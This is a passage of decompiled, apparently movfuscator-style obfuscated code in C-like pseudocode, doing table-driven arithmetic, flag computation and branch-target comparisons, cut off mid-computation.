*((char*)&alu_r + 2) = (unsigned char)v450;
*(char*)&alu_c = (unsigned char)(v450 >>> 8);
unsigned int v451 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v451;
*(char*)&alu_c = (unsigned char)(v451 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v452 = (unsigned int)*(short*)&alu_x;
unsigned int v453 = alu_c;
int v454 = *(int*)(v453 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v452 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v454;
*(int*)0x81FCFEE = v454;
int v455 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v453 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v453 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v452 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v455;
*(int*)0x81FCFEE = v455;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v456 = alu_t;
alu_psel_r = *(unsigned int*)(v456 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v456 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v457 = (unsigned int)*(short*)&alu_x;
unsigned int v458 = alu_c;
int v459 = *(int*)(v458 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v457 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v459;
*(int*)0x81FCFEE = v459;
int v460 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v458 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v458 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v457 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v460;
*(int*)0x81FCFEE = v460;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(char*)((unsigned int)*(char*)&alu_sq + &alu_b_s_2);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b1);
unsigned int v461 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v461;
*(char*)&alu_c = (unsigned char)(v461 >>> 8);
unsigned int v462 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v462;
*(char*)&alu_c = (unsigned char)(v462 >>> 8);
unsigned int v463 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v463;
*(char*)&alu_c = (unsigned char)(v463 >>> 8);
unsigned int v464 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v464;
*(char*)&alu_c = (unsigned char)(v464 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v465 = (unsigned int)*(short*)&alu_x;
unsigned int v466 = alu_c;
int v467 = *(int*)(v466 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v465 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v467;
*(int*)0x81FCFEE = v467;
int v468 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v466 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v466 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v465 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v468;
*(int*)0x81FCFEE = v468;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v469 = alu_t;
alu_psel_r = *(unsigned int*)(v469 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v469 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v470 = (unsigned int)*(short*)&alu_x;
unsigned int v471 = alu_c;
int v472 = *(int*)(v471 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v470 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v472;
*(int*)0x81FCFEE = v472;
int v473 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v471 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v471 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v470 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v473;
*(int*)0x81FCFEE = v473;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(char*)((unsigned int)*(char*)&alu_sq + &alu_b_s_1);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b0);
unsigned int v474 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v474;
*(char*)&alu_c = (unsigned char)(v474 >>> 8);
unsigned int v475 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v475;
*(char*)&alu_c = (unsigned char)(v475 >>> 8);
unsigned int v476 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v476;
*(char*)&alu_c = (unsigned char)(v476 >>> 8);
unsigned int v477 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v477;
*(char*)&alu_c = (unsigned char)(v477 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v478 = (unsigned int)*(short*)&alu_x;
unsigned int v479 = alu_c;
int v480 = *(int*)(v479 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v478 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v480;
*(int*)0x81FCFEE = v480;
int v481 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v479 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v479 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v478 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v481;
*(int*)0x81FCFEE = v481;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v482 = alu_t;
alu_psel_r = *(unsigned int*)(v482 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v482 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v483 = (unsigned int)*(short*)&alu_x;
unsigned int v484 = alu_c;
int v485 = *(int*)(v484 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v483 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v485;
*(int*)0x81FCFEE = v485;
int v486 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v484 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v484 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v483 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v486;
*(int*)0x81FCFEE = v486;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(unsigned char*)((unsigned int)*(char*)&alu_sq + (int)&alu_b_s_0);
*alu_psel_q = alu_sq;
alu_y = alu_r;
alu_x = 0;
alu_c = 1;
int v487 = (unsigned int)*(short*)&alu_x;
unsigned int v488 = alu_c;
int v489 = *(int*)(v488 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v487 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v489;
*(int*)0x81FCFEE = v489;
int v490 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v488 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v488 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v487 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v490;
*(int*)0x81FCFEE = v490;
unsigned int v491 = alu_s;
unsigned int v492 = alu_rs;
**(unsigned int**)(v492 * 4 + (int)&sel_data) = v491;
R3 = alu_r;
R2 = 0;
unsigned int v493 = R3;
unsigned int v494 = R2;
branch_temp = 2282025408;
alu_x = v493;
alu_y = v494;
alu_t = v494;
alu_c = 1;
int v495 = (unsigned int)*(short*)&alu_x;
unsigned int v496 = alu_c;
int v497 = *(int*)(v496 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v495 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v497;
*(int*)0x81FCFEE = v497;
int v498 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v496 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v496 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v495 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v498;
*(int*)0x81FCFEE = v498;
alu_y = alu_t;
int v499 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
*(char*)&sf = (unsigned char)*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v499 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v500 = (unsigned int)*(char*)&alu_s;
int v501 = (unsigned int)*(unsigned char*)((int)&alu_true + v500);
v500 = (unsigned int)*((char*)&alu_s + 1) | ((unsigned int)((v500 >>> 8) & 0xffffff) << 8);
v501 = (unsigned int)*(unsigned char*)((int)(int*)((int)&alu_true + v501) + v500) | ((unsigned int)((v501 >>> 8) & 0xffffff) << 8);
v500 = (unsigned int)*((char*)&alu_s + 2) | ((unsigned int)((v500 >>> 8) & 0xffffff) << 8);
v501 = (unsigned int)*(char*)(((unsigned int)*(char*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v500 >>> 8) & 0xffffff) << 8)) + v501 + &alu_true) | ((unsigned int)((v501 >>> 8) & 0xffffff) << 8)) + &alu_false) | ((unsigned int)((v501 >>> 8) & 0xffffff) << 8);
*(char*)&zf = (unsigned char)v501;
int v502 = *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v501 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v503 = *(int*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v502 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
*(char*)&of = (unsigned char)**(unsigned int*)(*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v503 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7) * 4 + *(int*)(v503 * 4 + *(int*)(v502 * 4 + (int)&alu_cmp_of)));
b0 = *(unsigned int*)(zf * 4 + (int)&alu_false);
b0 = *(unsigned int*)(on * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
**(unsigned int**)(b0 * 4 + (int)&sel_target) = branch_temp;
unsigned int v504 = b0;
unsigned int* ptr24 = *(unsigned int*)(v504 * 4 + (int)&sel_data);
*ptr24 = R0;
*(ptr24 + 1) = R1;
*(ptr24 + 2) = R2;
*(ptr24 + 3) = R3;
unsigned int* ptr25 = *(unsigned int*)(v504 * 4 + (int)&sel_data);
*ptr25 = F0;
*(ptr25 + 1) = F1;
unsigned int* ptr26 = *(unsigned int*)(v504 * 4 + (int)&sel_data);
*ptr26 = D0;
*(ptr26 + 1) = gvar_8054064;
*(ptr26 + 2) = D1;
*(ptr26 + 3) = gvar_805406C;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 0;
R0 = 0;
branch_temp = 0x88050155;
**(unsigned int**)(on * 4 + (int)&sel_target) = branch_temp;
unsigned int v505 = on;
unsigned int* ptr27 = *(unsigned int*)(v505 * 4 + (int)&sel_data);
*ptr27 = R0;
*(ptr27 + 1) = R1;
*(ptr27 + 2) = R2;
*(ptr27 + 3) = R3;
unsigned int* ptr28 = *(unsigned int*)(v505 * 4 + (int)&sel_data);
*ptr28 = F0;
*(ptr28 + 1) = F1;
unsigned int* ptr29 = *(unsigned int*)(v505 * 4 + (int)&sel_data);
*ptr29 = D0;
*(ptr29 + 1) = gvar_8054064;
*(ptr29 + 2) = D1;
*(ptr29 + 3) = gvar_805406C;
**(unsigned int*)(on * 4 + (int)&sel_on) = 0;
alu_x = target;
alu_y = 2282025408;
int v506 = (unsigned int)*(char*)&alu_x;
unsigned int v507 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v506 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v506 * 4 + (int)&alu_eq));
v506 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v506 >>> 8) & 0xffffff) << 8);
v507 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v507 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v506 * 4 + (int)&alu_eq)) | ((unsigned int)((v507 >>> 8) & 0xffffff) << 8);
b1 = v507;
v506 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v506 >>> 8) & 0xffffff) << 8);
v507 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v507 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v506 * 4 + (int)&alu_eq)) | ((unsigned int)((v507 >>> 8) & 0xffffff) << 8);
b2 = v507;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v507 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v506 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v507 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v508 = b0;
*(unsigned char*)*(unsigned char**)(v508 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v508 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v508 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v508 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v508 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v508 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr30 = *(unsigned int*)(v508 * 4 + (int)&sel_data);
*ptr30 = *(int*)&jmp_d0;
*(ptr30 + 1) = gvar_85FD19C;
unsigned int* ptr31 = *(unsigned int*)(v508 * 4 + (int)&sel_data);
*ptr31 = jmp_d1;
*(ptr31 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
alu_x = target;
alu_y = 2282025882;
int v509 = (unsigned int)*(char*)&alu_x;
unsigned int v510 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v509 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v509 * 4 + (int)&alu_eq));
v509 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v509 >>> 8) & 0xffffff) << 8);
v510 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v510 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v509 * 4 + (int)&alu_eq)) | ((unsigned int)((v510 >>> 8) & 0xffffff) << 8);
b1 = v510;
v509 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v509 >>> 8) & 0xffffff) << 8);
v510 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v510 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v509 * 4 + (int)&alu_eq)) | ((unsigned int)((v510 >>> 8) & 0xffffff) << 8);
b2 = v510;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v510 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v509 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v510 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v511 = b0;
*(unsigned char*)*(unsigned char**)(v511 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v511 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v511 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v511 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v511 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v511 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr32 = *(unsigned int*)(v511 * 4 + (int)&sel_data);
*ptr32 = *(int*)&jmp_d0;
*(ptr32 + 1) = gvar_85FD19C;
unsigned int* ptr33 = *(unsigned int*)(v511 * 4 + (int)&sel_data);
*ptr33 = jmp_d1;
*(ptr33 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
R3 = *(unsigned int*)(fp - 0x200068);
unsigned int v512 = on;
data_p = R3;
R3 = **(unsigned int**)(v512 * 4 + (int)&sel_data);
R2 = 1;
unsigned int v513 = R2;
alu_x = R3;
alu_y = v513;
alu_c = 0;
int v514 = (unsigned int)*(short*)&alu_x;
int v515 = (unsigned int)*(short*)&alu_y;
int v516 = *(int*)(v515 * 4 + *(unsigned int*)(v514 * 4 + (int)&alu_add16));
v515 = (unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v515 >>> 16) << 16);
unsigned int v517 = *(unsigned int*)(v515 * 4 + *(unsigned int*)(v516 * 4 + (int)&alu_add16));
*(short*)&alu_s = (unsigned short)v517;
alu_c = v517;
unsigned int v518 = *(unsigned int*)(((unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v515 >>> 16) << 16)) * 4 + *(int*)(*(int*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v515 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v514 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v518;
alu_c = v518;
R3 = alu_s;
unsigned int v519 = on;
**(unsigned int**)(v519 * 4 + (int)&sel_data) = R3;
alu_x = target;
alu_y = 2282026607;
int v520 = (unsigned int)*(char*)&alu_x;
unsigned int v521 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v520 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v520 * 4 + (int)&alu_eq));
v520 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v520 >>> 8) & 0xffffff) << 8);
v521 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v521 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v520 * 4 + (int)&alu_eq)) | ((unsigned int)((v521 >>> 8) & 0xffffff) << 8);
b1 = v521;
v520 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v520 >>> 8) & 0xffffff) << 8);
v521 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v521 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v520 * 4 + (int)&alu_eq)) | ((unsigned int)((v521 >>> 8) & 0xffffff) << 8);
b2 = v521;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v521 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v520 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v521 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v522 = b0;
*(unsigned char*)*(unsigned char**)(v522 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v522 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v522 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v522 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v522 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v522 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr34 = *(unsigned int*)(v522 * 4 + (int)&sel_data);
*ptr34 = *(int*)&jmp_d0;
*(ptr34 + 1) = gvar_85FD19C;
unsigned int* ptr35 = *(unsigned int*)(v522 * 4 + (int)&sel_data);
*ptr35 = jmp_d1;
*(ptr35 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
R3 = *(unsigned int*)(fp - 0x200068);
unsigned int v523 = on;
data_p = R3;
R3 = **(unsigned int**)(v523 * 4 + (int)&sel_data);
unsigned int v524 = R3;
alu_x = R3;
alu_y = v524;
alu_z0 = 0;
alu_z1 = 0;
alu_z2 = 0;
alu_z3 = 0;
alu_c = 0;
int v525 = (unsigned int)*(char*)&alu_x;
int v526 = (unsigned int)*(char*)&alu_y;
int v527 = (unsigned int)*(char*)(*(unsigned int*)(v525 * 4 + (int)&alu_mul_mul8l) + v526);
v525 = (unsigned int)*(char*)(*(unsigned int*)(v525 * 4 + (int)&alu_mul_mul8h) + v526) | ((unsigned int)((v525 >>> 8) & 0xffffff) << 8);
v526 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v526 >>> 8) & 0xffffff) << 8)) + v527 + &alu_mul_sum8l) | ((unsigned int)((v526 >>> 8) & 0xffffff) << 8);
*(char*)&alu_z0 = (unsigned char)v526;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v526 >>> 8) & 0xffffff) << 8)) + v527 + &alu_mul_sum8h) | ((unsigned int)((v526 >>> 8) & 0xffffff) << 8)) + v525 + &alu_mul_sum8l);
int v528 = (unsigned int)*((char*)&alu_x + 1);
int v529 = (unsigned int)*(char*)&alu_y;
int v530 = (unsigned int)*(char*)(*(unsigned int*)(v528 * 4 + (int)&alu_mul_mul8l) + v529);
v528 = (unsigned int)*(char*)(*(unsigned int*)(v528 * 4 + (int)&alu_mul_mul8h) + v529) | ((unsigned int)((v528 >>> 8) & 0xffffff) << 8);
v529 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v529 >>> 8) & 0xffffff) << 8)) + v530 + &alu_mul_sum8l) | ((unsigned int)((v529 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z0 + 1) = (unsigned char)v529;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v529 >>> 8) & 0xffffff) << 8)) + v530 + &alu_mul_sum8h) | ((unsigned int)((v529 >>> 8) & 0xffffff) << 8)) + v528 + &alu_mul_sum8l);
int v531 = (unsigned int)*((char*)&alu_x + 2);
int v532 = (unsigned int)*(char*)&alu_y;
int v533 = (unsigned int)*(char*)(*(unsigned int*)(v531 * 4 + (int)&alu_mul_mul8l) + v532);
v531 = (unsigned int)*(char*)(*(unsigned int*)(v531 * 4 + (int)&alu_mul_mul8h) + v532) | ((unsigned int)((v531 >>> 8) & 0xffffff) << 8);
v532 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v532 >>> 8) & 0xffffff) << 8)) + v533 + &alu_mul_sum8l) | ((unsigned int)((v532 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z0 + 2) = (unsigned char)v532;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v532 >>> 8) & 0xffffff) << 8)) + v533 + &alu_mul_sum8h) | ((unsigned int)((v532 >>> 8) & 0xffffff) << 8)) + v531 + &alu_mul_sum8l);
int v534 = (unsigned int)*((char*)&alu_x + 3);
int v535 = (unsigned int)*(char*)&alu_y;
int v536 = (unsigned int)*(char*)(*(unsigned int*)(v534 * 4 + (int)&alu_mul_mul8l) + v535);
v534 = (unsigned int)*(char*)(*(unsigned int*)(v534 * 4 + (int)&alu_mul_mul8h) + v535) | ((unsigned int)((v534 >>> 8) & 0xffffff) << 8);
